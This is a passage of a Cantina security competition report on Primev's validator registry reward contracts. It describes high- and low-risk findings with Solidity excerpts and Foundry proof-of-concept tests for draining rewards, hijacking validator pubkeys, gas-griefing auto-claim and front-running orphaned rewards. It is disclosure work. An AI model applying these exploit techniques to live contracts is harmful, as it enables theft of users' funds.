CANTINA

Primev Validator Registry

Competition

June 12, 2025

Contents

1 Introduction **2**
- 1.1 About Cantina . . . 2
- 1.2 Disclaimer . . . 2
- 1.3 Risk assessment . . . 2
  - 1.3.1 Severity Classification . . . 2

2 Security Review Summary **3**

3 Findings **4**
- 3.1 High Risk . . . 4
  - 3.1.1 Drain Rewards of anyone using overrideReceiver() and removeOverrideAddress() . . . 4
  - 3.1.2 Slashing is not sufficient to prevent stealing of validator rewards . . . 5
- 3.2 Low Risk . . . 6
  - 3.2.1 63/64 gas forging attack to disable auto claim feature for everyone . . . 6
  - 3.2.2 To be orphaned rewards will be claimed by MEV bots . . . 11
  - 3.2.3 Rewards will be orphaned if a pubkey is deregistered . . . 15
  - 3.2.4 AutoClaim call can use more gas than `gasLimit` . . . 17
  - 3.2.5 `AutoClaimBlacklist` can be bypassed by unstaking and staking back . . . 17
- 3.3 Informational . . . 19
  - 3.3.1 `_claimRewards` Fails to Process Rewards in `enableAutoClaim` . . . 19
  - 3.3.2 Insufficient opt-In validation in `_findReceiver` function . . . 21
  - 3.3.3 Unclaimed Rewards Stranded When Changing Override Addresses . . . 23
  - 3.3.4 Anyone can do dust `payProposer` calls to force trigger `autoClaimBlacklist` for receiver 25
  - 3.3.5 `OrphanedRewards` may not be withdrawn from the contract if the withdrawal fee exceeds the amount to be withdrawn . . . 26
  - 3.3.6 Users can grief `OrphanRewards` processing by sending 1 wei to rewards manager . . . 27
  - 3.3.7 Auto-claim bypasses pause, but manual reward claim is blocked during pause . . . 28
  - 3.3.8 Fixed Gas Limit for Auto-Claim Causes Denial-of-Service Risk and Griefing Potential . 29
  - 3.3.9 Attacker can call `payProposer()` with 1 wei with a failed transaction, setting `autoClaimBlacklist` to `true` during a pause . . . 34

1 Introduction

1.1 About Cantina

Cantina is a security services marketplace that connects top security researchers and solutions with clients. Learn more at cantina.xyz

1.2 Disclaimer

A competition provides a broad evaluation of the security posture of the code at a particular moment based on the information available at the time of the review. While competitions endeavor to identify and disclose all potential security issues, they cannot guarantee that every vulnerability will be detected or that the code will be entirely secure against all possible attacks. The assessment is conducted based on the specific commit and version of the code provided. Any subsequent modifications to the code may introduce new vulnerabilities, therefore, any changes made to the code would require an additional security review. Please be advised that competitions are not a replacement for continuous security measures such as penetration testing, vulnerability scanning, and regular code reviews.

1.3 Risk assessment

Severity	Description
High	*Must* fix as soon as possible (if already deployed) and can be triggered by any user without significant constraints, generating outsized returns to the exploiter. For example: loss of user funds (significant amount of funds being stolen or lost) or breaking core functionality (failure in fundamental protocol operations).
Medium	Global losses <10% or losses to only a subset of users, requiring significant constraints (capital, planning, other users...) to be exploited. For example: temporary disruption or denial of service (DoS), minor fund loss or exposure or breaking non-core functionality
Low	Losses will be annoying but easily recoverable, requiring unusual scenarios or admin actions to be exploited.
Gas Optimization	Suggestions around gas saving practices.
Informational	Suggestions around best practices or readability.

1.3.1 Severity Classification

The severity of security issues found during the security review is categorized based on the above matrix. High severity findings represent the most critical issues that must be addressed immediately, as they either have high impact and high likelihood of occurrence, or medium impact with high likelihood.

Medium severity findings represent issues that, while not immediately critical, still pose significant risks and should be addressed promptly. These typically involve scenarios with medium impact and medium likelihood, or high impact with low likelihood.

Low severity findings represent issues that, while not posing immediate threats, could potentially cause problems in specific scenarios. These typically involve medium impact with low likelihood, or low impact with medium likelihood.

Lastly, some findings might represent improvements that don't directly impact security but could enhance the codebase's quality, readability, or efficiency (Gas and Informational findings).

2 Security Review Summary

Primev aims to solve coordination inefficiencies in decentralized domains additively to mev, driving network welfare and increase transparency and decentralization of the mev pipeline.

From May 28th to Jun 3rd Cantina hosted a competition based on primev-validator-registry. The participants identified a total of **16** issues in the following risk categories:

- High Risk: 2
- Medium Risk: 0
- Low Risk: 5
- Gas Optimizations: 0
- Informational: 9

The present report only outlines the **high** and **medium** risk issues.

3 Findings

3.1 High Risk

3.1.1 Drain Rewards of anyone using overrideReceiver() and removeOverrideAddress()

Submitted by oot2k, also found by WaffleWizard, psb01, phrax, 0xlucky45, heeze, roccomania, 0xgh0st, 0xMSF14, serial-coder, Josh4324, Icon0x, globalace, Nyxx, Yanx, Sabit, Abhan, chupinexx, raiseUp, raiseUp, DiligentWorker, kodyvim, ElGreenGoblino, ADM, Agontuk1, King, Bizarro, Wolf, ElCid, Jonatas Martins, xero1337, rmdanxyz, Drynooo, KuwaTakushi, Z-Bra, 0x18a6, zraxx, BengalCatBalu, h3xmora, aua-oo7, HeckerTrieuTien, Himanshu0x1, farismaulana, joicygiore, realsung, saaitaamaa, trachev, Joshuajee, SpicyMeatball, v10g, elolpuer, la0t0ng, space image, chainsentry, newspacexyz, BaiMaStryke, IronsideSec, Anmol Dhiman, CodexBugmeNot, softdev323, katz, LEVI-104, phil, Ragnarok, Ragnarok, Catowice, Joesepherus, web3layman, Greese and Ollam

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

Summary: The `RewardsManager.sol` contracts allows any rewards receiver address to set an override address which will then incur rewards. This address can also be removed using the remove function. The issue arises because the override function transfers all rewards from the override address to msg.sender, allowing anyone to drain someones funds.

Finding Description: The RewardsManager allows to set an overrride address (RewardManager.sol#L116):

```
function overrideReceiver(address overrideAddress, bool migrateExistingRewards) external whenNotPaused
↪  nonReentrant {
    if (migrateExistingRewards) { _migrateRewards(msg.sender, overrideAddress); }
    require(overrideAddress != address(0) && overrideAddress != msg.sender, InvalidAddress());
    overrideAddresses[msg.sender] = overrideAddress;
    emit OverrideAddressSet(msg.sender, overrideAddress);
}
```

The function allows `msg.sender` to set any `overrideAddress`. This can be an address with high rewards balance. The `removeOverrideAddress()` function allows to remove the override address. In this case rewards are migrated to msg.sender. This allows to steal all rewards accrued by the arbitrary `overrideAddress` (RewardManager.sol#L125-L131):

```
function removeOverrideAddress(bool migrateExistingRewards) external whenNotPaused nonReentrant {
    address toBeRemoved = overrideAddresses[msg.sender];
    require(toBeRemoved != address(0), NoOverriddenAddressToRemove());
    if (migrateExistingRewards) { _migrateRewards(toBeRemoved, msg.sender); }
    overrideAddresses[msg.sender] = address(0);
    emit OverrideAddressRemoved(msg.sender);
}
```

Impact Explanation: Drain all funds of all users.

Likelihood Explanation: Very likely, simple execution + high profit.

Proof of Concept: Add following test to the `RewardManagerTest.sol`.

```
function testMigrateRewardsDuringOverride() public {
    vanillaRegistryTest.testSelfStake();
    address vanillaTestUser = vanillaRegistryTest.user1();
    bytes memory vanillaTestUserPubkey = vanillaRegistryTest.user1BLSKey();

    vm.deal(user2, 4 ether);
    vm.expectEmit();
    emit PaymentStored(user2, vanillaTestUser, vanillaTestUser, 4 ether);
    vm.prank(user2);
    rewardManager.payProposer{value: 4 ether}(vanillaTestUserPubkey);

    assertEq(rewardManager.unclaimedRewards(vanillaTestUser), 4 ether);
    assertEq(user4.balance, 0 ether);

    //@audit Should not be allowed
    vm.prank(user4);
    rewardManager.overrideReceiver(vanillaTestUser, true);

    assertEq(rewardManager.unclaimedRewards(vanillaTestUser), 4 ether);
    assertEq(rewardManager.unclaimedRewards(user4), 0 ether);

    vm.prank(user4);
    rewardManager.removeOverrideAddress(true);

    vm.prank(user4);
    vm.expectEmit();
    emit RewardsClaimed(user4, 4 ether);
    rewardManager.claimRewards();
    assertEq(user4.balance, 4 ether);
}
```

Recommendation: Do not allow to set arbitrary address that has rewards as the override address. Or do not migrate rewards when removing override address.

3.1.2 Slashing is not sufficient to prevent stealing of validator rewards

Submitted by 0x18a6, also found by phrax, BengalCatBalu, phil and IronsideSec

Severity: High Risk

Context: RewardManager.sol#L230-L247

Description: It was mentioned that

> `RewardManager` contract does not validate BLS identities/signatures on-chain, and this is something to be addressed in future versions of the contracts. For now this issue is solved by the ability for pubkeys to be manually slashed via any of the three registries.

The assumption here is that the amount to be slashed is greater than the amount an attacker will net. This can be confirmed from a warning in the docs, vanilla#getting-started:

> Accounts must only register pubkeys for which they control or otherwise manage. If an account registers a pubkey for which they do not own/manage (think "griefing"), their relevant stake amount may be slashed.

The griefing scenario has indeed no economic incentive for the attacker, as they would be slashed for doing so. Now think about the following scenario:

- An honest EigenLayer validator is being payed via `RewardManager::payProposer(pubKey)`.
- An attacker opts-in to mev-commit with the same `pubKey` as the honest proposer. This can be done by staking `VanillaRegistryStorage::minStake()`, the opt-in is instant (in the same block), and `VaniallaRegistry::stake(blsPubKeys)` contract doesn't validate `blsPubKeys` ownership either.
- At `RewardManager::_findReceiver`, because we return as soon as a receiver is found, and because the check for a vanilla receiver comes **before** the check for an EigenLayer receiver, for the same `pubKey`, `_findReceiver` will always return the vanilla receiver before the EignerLayer one.

- The attacker can then claim the funds since they're now the receiver.

Why slashing is useless in this scenario?

Because the opt-in to vanilla commit costs just `minStake`, and that is 1 ETH vanilla#getting-started:

> On mainnet, `minStake` is 1 ETH.

Because the attacker can only get slashed up to just 1 ETH, the attack is **profitable** as long as proposers are payed more than that. The `RewardManager` contract is used to send mev-boost and/or mev-commit rewards. These can go above 1ETH in the MEV world, see transaction 0xc8aae353056fb3cf3071decd417ecacea28a5e326c2065760ccad2a21e5cbcfb: This transaction from block 22599462, around the time of writing the report, netted +3ETH in mev-boost rewards. It would've netted the attacker +2ETH after being slashed. The attacker can repeat this for as many applicable transactions as they want.

Proof of Concept: Add the following testcase to `RewardManagerTest.sol`:

```
function testPOC() public {
    uint256 MIN_STAKE = 1 ether;
    uint256 PROPOSER_REWARD = 3 ether;
    // 1. Honest validator registers via AVS.
    mevCommitAVSTest.testRegisterValidatorsByPodOwners();
    bytes memory pubKey = mevCommitAVSTest.sampleValPubkey2();
    address honestOperator = address(0x420);

    // 2. Attacker stakes same pubkey by staking `MIN_STAKE` and that is 1ETH.
    address attacker = address(0xbad);
    vm.deal(attacker, MIN_STAKE);

    bytes[] memory pubkeys = new bytes[](1);
    pubkeys[0] = pubKey;

    vm.prank(attacker);
    vanillaRegistry.stake{value: MIN_STAKE}(pubkeys);

    // 3. A user pays the proposer a `PROPOSER_REWARD` of 3ETH via their pubkey.
    address user = address(0x01);
    vm.deal(user, PROPOSER_REWARD);

    vm.expectEmit(true, true, true, true);
    emit PaymentStored(user, attacker, attacker, PROPOSER_REWARD);
    vm.prank(user);
    rewardManager.payProposer{value: PROPOSER_REWARD}(pubKey);

    // 4. Attacker claims the reward.
    assert(attacker.balance == 0);
    vm.prank(attacker);
    vm.expectEmit(true, true, true, true);
    emit RewardsClaimed(attacker, PROPOSER_REWARD);
    rewardManager.claimRewards();

    // 5. Ensure attacker received the reward
    // Even with slashing happening, slashable amount can go up to MIN_STAKE, which makes the attack profitable
    ↪  for the attacker by `PROPOSER_REWARD - MIN_STAKE`!! (and that is 2ETH)
    assert(attacker.balance == PROPOSER_REWARD);
    assert(rewardManager.unclaimedRewards(honestOperator) == 0);
}
```

Recommendation: I would change the order of the checks in `_findReceiver()` to prioritize EigenLayer receivers over vanilla receivers, while carefully considering if this is sufficient. This way, even if an attacker claims `pubKey` of an EigenLayer receiver, `_findReceiver()` would already return the EigenLayer receiver before the vanilla one, preventing the attack.

3.2 Low Risk

3.2.1 63/64 gas forging attack to disable auto claim feature for everyone

Submitted by IronsideSec, also found by ElGreenGoblino, 0xBreeje, 0xMSF14, BengalCatBalu and zraxx

Severity: Low Risk

Context: RewardManager.sol#L83-L91

Summary: Attackers can permanently disable auto-claim functionality for any user by exploiting EIP-150 gas forwarding rules to cause deliberate out-of-gas failures during external calls in `payProposer()`. *Note: the likelihood is low, becasue a high autoclaim gas limit is needed to perform this atatck, becasue the unforwarded 1/64 of the gasleft() should be enough to complete the transaction*.

Finding Description: Look at the proof of concept traces shown below, the OOG revert is the root cause. Due to EIP-150, external calls only receive 63/64 of the available gas. An attacker can calculate the exact gas amount needed to make the main transaction succeed while ensuring the external call fails due to insufficient gas. When the external call fails, the victim is permanently blacklisted from auto-claim (`autoClaimBlacklist[receiver] = true`) and auto-claim is disabled (`autoClaim[receiver] = false`).

The attack works as follows:

1. Victim enables auto-claim functionality.
2. Attacker calls `payProposer()` with precisely calculated gas limit.
3. The external call to victim's address receives 63/64 of remaining gas, which is insufficient.
4. External call fails, victim gets blacklisted and loses auto-claim permanently.
5. Only the contract owner can remove the victim from the blacklist via `removeFromAutoClaimBlacklist()`.

This breaks the security guarantee that users should be able to reliably receive automatic reward distributions without external interference.

```
      [3415835] RewardManager::payProposer(<unknown>)
         [4685] RewardManager::_findReceiver(<unknown>)
            [0] ERC1967Proxy::fallback(0xb61a6e5f09217278efc7ddad4dc4b0553b2c076d4a5fef6509c233a6531c99146347
↪  193467e84eb5ca921af1b8254b3f) [staticcall]
              [Return] 0x0000000000000000000000000000000000000000,
↪  0x0000000000000000000000000000000000555555, true, Occurrence({ exists: false, timestamp: 0 })
            ← 0x0000000000000000000000000000000000555555
         [3370014] GasConsumingReceiver::receive{value: 100000000000000000}()
            ← [ReentrancySentryOOG] EvmError: ReentrancySentryOOG  // <<<
         emit AutoClaimTransferFailed(provider: 0x0000000000000000000000000000000000777777, receiver:
↪  0x0000000000000000000000000000000000555555, toPay: GasConsumingReceiver:
↪  [0x3381cD18e2Fb4dB236BF0525938AB6E43Db0440f])
         ←
      [0] ReentrancyGuardUpgradeable::_nonReentrantAfter()
         [23] ReentrancyGuardUpgradeable::_getReentrancyGuardStorage()
            ← <unknown>
         ←
      ← [Return]
   ← [Return]
← [Return]
```

Impact Explanation: This vulnerability has HIGH impact because:

- Permanent DoS: Victims lose auto-claim functionality permanently until owner intervention.
- User Experience Degradation: Users must manually claim rewards instead of automatic distribution.
- Trust Degradation: Users may lose confidence in the auto-claim feature.
- Economic Impact: Users may miss time-sensitive reward distributions.

Likelihood Explanation: The likelihood is LOW to MEDIUM because:

- High enough autoclaim gas limit: to complete the rest of the transaction after the external call.
- Easy to Execute: The attack requires only basic gas calculation and a single transaction.
- No Prerequisites: No special permissions or complex setup required.

Proof of Concept:

1. Paste the below poc into `primev-rewards-update/contracts/test/validator-registry/rewards/POC.t.sol`.
2. Then run `forge t --mt testOverrideIsuue --decode-internal -vvvv --via-ir`.

Primev: The disabling of auto-claim would not be permanent, the owner account can remove accounts from the blacklist.

```
// SPDX-License-Identifier: BSL 1.1
pragma solidity 0.8.26;

import "forge-std/Test.sol";
import {RewardManager} from "../../../contracts/validator-registry/rewards/RewardManager.sol";
import {VanillaRegistry} from "../../../contracts/validator-registry/VanillaRegistry.sol";
import {MevCommitAVS} from "../../../contracts/validator-registry/avs/MevCommitAVS.sol";
import {MevCommitMiddleware} from "../../../contracts/validator-registry/middleware/MevCommitMiddleware.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {IRegistry} from "symbiotic-core/interfaces/common/IRegistry.sol";
import {IAVSDirectory} from "eigenlayer-contracts/src/contracts/interfaces/IAVSDirectory.sol";
import {IDelegationManager} from "eigenlayer-contracts/src/contracts/interfaces/IDelegationManager.sol";
import {IEigenPodManager} from "eigenlayer-contracts/src/contracts/interfaces/IEigenPodManager.sol";
import {IStrategyManager} from "eigenlayer-contracts/src/contracts/interfaces/IStrategyManager.sol";

// Import the mock contracts
import {AVSDirectoryMock} from "../avs/AVSDirectoryMock.sol";

contract RewardManagerGasGriefingPOC is Test {
    RewardManager public rewardManager;
    RewardManager public implementation;
    address public rewardManagerProxy;
    VanillaRegistry public vanillaRegistry;
    MevCommitAVS public mevCommitAVS;
    MevCommitMiddleware public mevCommitMiddleware;

    // Mock contracts
    MockDelegationManager public mockDelegationManager;
    MockEigenPodManager public mockEigenPodManager;
    MockStrategyManager public mockStrategyManager;
    AVSDirectoryMock public mockAvsDirectory;
    MockRegistry public mockNetworkRegistry;
    MockRegistry public mockOperatorRegistry;
    MockRegistry public mockVaultFactory;
    MockRegistry public mockDelegatorFactory;
    MockRegistry public mockSlasherFactory;
    MockRegistry public mockBurnerRouterFactory;

    address public owner;
    address public attacker;
    address public victim;
    address public provider;

    bytes public victimPubkey =
    ↪  hex"b61a6e5f09217278efc7ddad4dc4b0553b2c076d4a5fef6509c233a6531c99146347193467e84eb5ca921af1b8254b3f";

    uint256 public constant AUTO_CLAIM_GAS_LIMIT = 80000;

    function setUp() public {
        owner = address(0x123456);
        attacker = address(0x999999);
        victim = address(0x555555);
        provider = address(0x777777);

        // Deploy mock contracts
        mockDelegationManager = new MockDelegationManager();
        mockEigenPodManager = new MockEigenPodManager();
        mockStrategyManager = new MockStrategyManager();
        mockAvsDirectory = new AVSDirectoryMock();
        mockNetworkRegistry = new MockRegistry();
        mockOperatorRegistry = new MockRegistry();
        mockVaultFactory = new MockRegistry();
        mockDelegatorFactory = new MockRegistry();
        mockSlasherFactory = new MockRegistry();
        mockBurnerRouterFactory = new MockRegistry();

        // Deploy mock contracts using proxies like RewardManager
        // Step 1: Deploy the VanillaRegistry implementation
        VanillaRegistry vanillaRegistryImpl = new VanillaRegistry();

        // Step 2: Prepare initialization data for VanillaRegistry
        bytes memory vanillaRegistryInitData = abi.encodeCall(VanillaRegistry.initialize, (
            1 ether, // minStake
```

```
    address(0x111), // slashOracle
    address(0x222), // slashReceiver
    100, // unstakePeriodBlocks
    200, // slashingPayoutPeriodBlocks
    owner
));

// Step 3: Deploy ERC1967Proxy for VanillaRegistry
ERC1967Proxy vanillaRegistryProxy = new ERC1967Proxy(address(vanillaRegistryImpl),
↪  vanillaRegistryInitData);
vanillaRegistry = VanillaRegistry(payable(address(vanillaRegistryProxy)));

// Step 1: Deploy the MevCommitAVS implementation
MevCommitAVS mevCommitAVSImpl = new MevCommitAVS();

// Step 2: Prepare initialization data for MevCommitAVS
// Note: Using simplified parameters since it's a mock
address[] memory restakeableStrategies = new address[](0);
// Need to cast addresses to interface types
bytes memory mevCommitAVSInitData = abi.encodeCall(
    MevCommitAVS.initialize,
    (
        owner,
        IDelegationManager(address(mockDelegationManager)), // delegationManager
        IEigenPodManager(address(mockEigenPodManager)), // eigenPodManager
        IStrategyManager(address(mockStrategyManager)), // strategyManager
        IAVSDirectory(address(mockAvsDirectory)), // avsDirectory
        restakeableStrategies,
        address(0x777), // freezeOracle
        0.1 ether, // unfreezeFee
        address(0x888), // unfreezeReceiver
        100, // unfreezePeriodBlocks
        200, // operatorDeregPeriodBlocks
        300, // validatorDeregPeriodBlocks
        400, // lstRestakerDeregPeriodBlocks
        "https://mock-metadata-url.com"
    )
);

// Step 3: Deploy ERC1967Proxy for MevCommitAVS
ERC1967Proxy mevCommitAVSProxy = new ERC1967Proxy(address(mevCommitAVSImpl), mevCommitAVSInitData);
mevCommitAVS = MevCommitAVS(payable(address(mevCommitAVSProxy)));

// Step 1: Deploy the MevCommitMiddleware implementation
MevCommitMiddleware mevCommitMiddlewareImpl = new MevCommitMiddleware();

// Step 2: Prepare initialization data for MevCommitMiddleware
bytes memory mevCommitMiddlewareInitData = abi.encodeCall(
    MevCommitMiddleware.initialize,
    (
        IRegistry(address(mockNetworkRegistry)), // networkRegistry
        IRegistry(address(mockOperatorRegistry)), // operatorRegistry
        IRegistry(address(mockVaultFactory)), // vaultFactory
        IRegistry(address(mockDelegatorFactory)), // delegatorFactory
        IRegistry(address(mockSlasherFactory)), // slasherFactory
        IRegistry(address(mockBurnerRouterFactory)), // burnerRouterFactory
        address(0xfff), // network
        86400, // slashPeriodSeconds (24 hours)
        address(0x111), // slashOracle
        address(0x222), // slashReceiver
        172800, // minBurnerRouterDelay (48 hours)
        owner
    )
);

// Step 3: Deploy ERC1967Proxy for MevCommitMiddleware
ERC1967Proxy mevCommitMiddlewareProxy = new ERC1967Proxy(address(mevCommitMiddlewareImpl),
↪  mevCommitMiddlewareInitData);
mevCommitMiddleware = MevCommitMiddleware(payable(address(mevCommitMiddlewareProxy)));

// Step 1: Deploy the implementation contract
implementation = new RewardManager();

// Step 2: Prepare initialization data
bytes memory initData = abi.encodeCall(RewardManager.initialize, (
    address(vanillaRegistry),
```

```
            address(mevCommitAVS),
            address(mevCommitMiddleware),
            AUTO_CLAIM_GAS_LIMIT,
            owner
        ));

        // Step 3: Deploy ERC1967Proxy manually
        ERC1967Proxy proxy = new ERC1967Proxy(address(implementation), initData);
        rewardManagerProxy = address(proxy);
        rewardManager = RewardManager(payable(rewardManagerProxy));


        // Give accounts some ETH
        vm.deal(attacker, 10 ether);
        vm.deal(provider, 10 ether);
        vm.deal(victim, 1 ether);
    }

    function testPOC291() public {
        // Create a gas-consuming receiver contract to be used as an override
        GasConsumingReceiver gasReceiver = new GasConsumingReceiver();

        // The issue is in the mock structure for validatorRecords
        // Looking at the trace, the validatorRecords function returns a tuple with 4 elements:
        // 1. address vault
        // 2. address operator
        // 3. bool exists
        // 4. A struct (TimestampOccurrence.Occurrence) with two fields:
        //    - bool exists
        //    - uint256 timestamp

        // The trace shows the mock returning data with a nested structure
        // Create a TimestampOccurrence.Occurrence struct properly
        // The deregRequestOccurrence should be false and timestamp 0

        // Create properly encoded mock response
        vm.mockCall(
            address(mevCommitMiddleware),
            abi.encodeWithSignature("validatorRecords(bytes)", victimPubkey),
            abi.encode(
                address(0),                 // vault
                victim,                     // operator
                true,                       // exists
                false,                      // deregRequestOccurrence.exists
                uint256(0)                  // deregRequestOccurrence.timestamp
            )
        );

        // Victim sets gasReceiver as their override address
        vm.prank(victim);
        rewardManager.overrideReceiver(address(gasReceiver), false);

        // Victim enables auto-claim
        vm.prank(victim);
        rewardManager.enableAutoClaim(false);

        vm.prank(owner);
        rewardManager.setAutoClaimGasLimit(5000_000);

        // Provider sends reward payment to the validator
        uint256 paymentAmount = 0.1 ether;
        vm.prank(provider);
        rewardManager.payProposer{value: paymentAmount, gas : 3500_000}(victimPubkey);
    }
}
contract GasConsumingReceiver {
    uint256 public receivedAmount;
    uint256 public callCount;

    receive() external payable {
        receivedAmount += msg.value;

        // Simple gas consumption loop
        for (uint256 i = 0; i < 3500; i++) {
            callCount++;
        }
```

```
    }
}

// Mock contracts needed for initializing MevCommitAVS and MevCommitMiddleware
contract MockDelegationManager {
    function registerOperatorToAVS(address, bytes calldata) external pure returns (bytes32) {
        return bytes32(0);
    }
}

contract MockEigenPodManager {}

contract MockStrategyManager {}

contract MockRegistry {
    function register() external {}
    function isEntity(address) external pure returns (bool) {
        return true;
    }
}
```

Recommendation: validate `gasleft() > autoclaim gas limit`.

3.2.2 To be orphaned rewards will be claimed by MEV bots

Submitted by IronsideSec

Severity: Low Risk

Context: RewardManager.sol#L72-L77, RewardManager.sol#L233-L247

Summary: MEV bots can front-run reward payments to steal all to be orphaned rewards by registering unregistered validator pubkeys just-in-time, making the orphaned rewards mechanism completely ineffective.

Finding Description: The vulnerability exists in the interaction between `payProposer()` and `_findReceiver()` functions, allowing attackers to front-run reward payments and steal funds intended to become orphaned rewards.

When a provider calls `payProposer()` for an unregistered validator pubkey, the system should create orphaned rewards that can later be claimed by the owner. However, MEV bots can monitor the mempool for such transactions and front-run them by registering the target pubkey in any of the three validator registries (`VanillaRegistry`, `MevCommitMiddleware`, or `MevCommitAVS`) with their own address as the withdrawal/operator address. Here's the attack flow:

1. Provider Transaction: A provider attempts to pay rewards to an unregistered pubkey (e.g., `0xa61a6e5f...`).
2. MEV Bot Detection: Bot detects the transaction in mempool and identifies the unregistered pubkey.
3. Front-run Registration: Bot calls `VanillaRegistry.stake()` with the same pubkey and their address as withdrawal address.
4. Reward Theft: When the provider's transaction executes, `_findReceiver()` now returns the bot's address instead of `address(0)`.
5. Profit: The bot receives the rewards that should have been orphaned.

Impact Explanation: This vulnerability has HIGH impact because:

- Complete Fund Theft: MEV bots can steal 100% of rewards intended for orphaned pubkeys.
- Orphaned Rewards Mechanism Failure: The orphaned rewards system becomes completely ineffective - rewards will always be 0 because bots steal them first.
- Permissionless Attack: Anyone can execute this attack with minimal capital (just registry minimum stake requirements which you can get back in time).
- No Recovery Mechanism: Once stolen, funds cannot be recovered by the protocol.

The proof of concept proves that an attacker can successfully steal 0.5 ETH rewards that should have been orphaned, and this attack can be scaled indefinitely against all unregistered pubkey payments.

Likelihood Explanation: This vulnerability has LOW likelihood of exploitation because:

- Rewarding pubkeys not opted in: low likelihood of providers rewarding to these type of validators that didnt opt in. Or just got out of teh registries just now..,
- MEV Bot Infrastructure: Existing MEV bots can easily implement this attack pattern.
- Profitable Attack: Direct financial gain with minimal risk and cost.
- Low Prerequisites: Only requires minimum stake amounts to register in any validator registry.

The attack is economically rational for MEV bots as the profit (stolen rewards) often exceeds the cost (minimum stake + gas fees). Since this can be automated and scales across all unregistered validator payments, it will likely happen immediately once discovered.

Proof of Concept:

1. Paste the below poc into `primev-rewards-update/contracts/test/validator-registry/rewards/POC.t.sol`.
2. Then run `forge t --mt testFrontRunAttack --decode-internal -vvvv --via-ir`.

```
// SPDX-License-Identifier: BSL 1.1
pragma solidity 0.8.26;

import "forge-std/Test.sol";
import {RewardManager} from "../../../contracts/validator-registry/rewards/RewardManager.sol";
import {VanillaRegistry} from "../../../contracts/validator-registry/VanillaRegistry.sol";
import {MevCommitAVS} from "../../../contracts/validator-registry/avs/MevCommitAVS.sol";
import {MevCommitMiddleware} from "../../../contracts/validator-registry/middleware/MevCommitMiddleware.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {IRegistry} from "symbiotic-core/interfaces/common/IRegistry.sol";
import {IAVSDirectory} from "eigenlayer-contracts/src/contracts/interfaces/IAVSDirectory.sol";
import {IDelegationManager} from "eigenlayer-contracts/src/contracts/interfaces/IDelegationManager.sol";
import {IEigenPodManager} from "eigenlayer-contracts/src/contracts/interfaces/IEigenPodManager.sol";
import {IStrategyManager} from "eigenlayer-contracts/src/contracts/interfaces/IStrategyManager.sol";

// Import the mock contracts
import {AVSDirectoryMock} from "../avs/AVSDirectoryMock.sol";

contract RewardManagerGasGriefingPOC is Test {
    RewardManager public rewardManager;
    RewardManager public implementation;
    address public rewardManagerProxy;
    VanillaRegistry public vanillaRegistry;
    MevCommitAVS public mevCommitAVS;
    MevCommitMiddleware public mevCommitMiddleware;

    // Mock contracts
    MockDelegationManager public mockDelegationManager;
    MockEigenPodManager public mockEigenPodManager;
    MockStrategyManager public mockStrategyManager;
    AVSDirectoryMock public mockAvsDirectory;
    MockRegistry public mockNetworkRegistry;
    MockRegistry public mockOperatorRegistry;
    MockRegistry public mockVaultFactory;
    MockRegistry public mockDelegatorFactory;
    MockRegistry public mockSlasherFactory;
    MockRegistry public mockBurnerRouterFactory;

    address public owner;
    address public attacker;
    address public victim;
    address public provider;

    bytes public victimPubkey =
    ↪  hex"b61a6e5f09217278efc7ddad4dc4b0553b2c076d4a5fef6509c233a6531c99146347193467e84eb5ca921af1b8254b3f";

    uint256 public constant AUTO_CLAIM_GAS_LIMIT = 80000;

    function setUp() public {
        owner = address(0x123456);
        attacker = address(0x999999);
```

```
victim = address(0x555555);
provider = address(0x777777);

// Deploy mock contracts
mockDelegationManager = new MockDelegationManager();
mockEigenPodManager = new MockEigenPodManager();
mockStrategyManager = new MockStrategyManager();
mockAvsDirectory = new AVSDirectoryMock();
mockNetworkRegistry = new MockRegistry();
mockOperatorRegistry = new MockRegistry();
mockVaultFactory = new MockRegistry();
mockDelegatorFactory = new MockRegistry();
mockSlasherFactory = new MockRegistry();
mockBurnerRouterFactory = new MockRegistry();

// Deploy mock contracts using proxies like RewardManager
// Step 1: Deploy the VanillaRegistry implementation
VanillaRegistry vanillaRegistryImpl = new VanillaRegistry();

// Step 2: Prepare initialization data for VanillaRegistry
bytes memory vanillaRegistryInitData = abi.encodeCall(VanillaRegistry.initialize, (
    1 ether, // minStake
    address(0x111), // slashOracle
    address(0x222), // slashReceiver
    100, // unstakePeriodBlocks
    200, // slashingPayoutPeriodBlocks
    owner
));

// Step 3: Deploy ERC1967Proxy for VanillaRegistry
ERC1967Proxy vanillaRegistryProxy = new ERC1967Proxy(address(vanillaRegistryImpl),
↪  vanillaRegistryInitData);
vanillaRegistry = VanillaRegistry(payable(address(vanillaRegistryProxy)));

// Step 1: Deploy the MevCommitAVS implementation
MevCommitAVS mevCommitAVSImpl = new MevCommitAVS();

// Step 2: Prepare initialization data for MevCommitAVS
// Note: Using simplified parameters since it's a mock
address[] memory restakeableStrategies = new address[](0);
// Need to cast addresses to interface types
bytes memory mevCommitAVSInitData = abi.encodeCall(
    MevCommitAVS.initialize,
    (
        owner,
        IDelegationManager(address(mockDelegationManager)), // delegationManager
        IEigenPodManager(address(mockEigenPodManager)), // eigenPodManager
        IStrategyManager(address(mockStrategyManager)), // strategyManager
        IAVSDirectory(address(mockAvsDirectory)), // avsDirectory
        restakeableStrategies,
        address(0x777), // freezeOracle
        0.1 ether, // unfreezeFee
        address(0x888), // unfreezeReceiver
        100, // unfreezePeriodBlocks
        200, // operatorDeregPeriodBlocks
        300, // validatorDeregPeriodBlocks
        400, // lstRestakerDeregPeriodBlocks
        "https://mock-metadata-url.com"
    )
);

// Step 3: Deploy ERC1967Proxy for MevCommitAVS
ERC1967Proxy mevCommitAVSProxy = new ERC1967Proxy(address(mevCommitAVSImpl), mevCommitAVSInitData);
mevCommitAVS = MevCommitAVS(payable(address(mevCommitAVSProxy)));

// Step 1: Deploy the MevCommitMiddleware implementation
MevCommitMiddleware mevCommitMiddlewareImpl = new MevCommitMiddleware();

// Step 2: Prepare initialization data for MevCommitMiddleware
bytes memory mevCommitMiddlewareInitData = abi.encodeCall(
    MevCommitMiddleware.initialize,
    (
        IRegistry(address(mockNetworkRegistry)), // networkRegistry
        IRegistry(address(mockOperatorRegistry)), // operatorRegistry
        IRegistry(address(mockVaultFactory)), // vaultFactory
        IRegistry(address(mockDelegatorFactory)), // delegatorFactory
```

```
            IRegistry(address(mockSlasherFactory)), // slasherFactory
            IRegistry(address(mockBurnerRouterFactory)), // burnerRouterFactory
            address(0xfff), // network
